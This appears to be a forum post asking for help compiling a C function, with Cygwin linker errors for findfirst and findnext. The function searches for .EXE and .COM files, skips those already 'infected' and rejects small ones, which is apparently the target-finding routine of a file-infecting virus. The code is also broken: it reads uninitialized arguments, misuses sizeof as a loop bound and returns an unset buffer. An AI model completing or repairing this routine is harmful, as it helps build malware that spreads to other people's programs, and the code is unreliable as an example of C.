Here is my code that will return the next file in a directory:
=====================
char* next(void)
{
/* This function returns the next file */
/* Variable declarations */
char *types[] = {"*.EXE", "*.COM"};
intptr_t done; // Indicates finish
int index; // Used for loop
int _argc;
char* _argv[30];
struct _finddata_t {
char ff_name[13];
long ff_fsize;
} ff;
/* Find our file*/
char* ff_name = (char*) malloc (13);
if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);
for (index = 0; index < sizeof(types); index++)
{
done = findfirst(types[index], &ff);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ff.ff_name);
#endif
if ((!infected(ff.ff_name)) && (ff.ff_fsize >
TOO_SMALL))
return ff_name;
done = findnext(done, &ff);
//findclose(done);
}
}
return(0); // Prevents warning
}
=========================
and here are the errors that I got when I compile the code using
cygwin:
/cygdrive/c/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ccqzjO6d.o:test.c:
(.text+0x444): undefined reference to `_findfirst'
/cygdrive/c/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ccqzjO6d.o:test.c:
(.text+0x4a4): undefined reference to `_findnext'
collect2: ld returned 1 exit status
Can some body help me...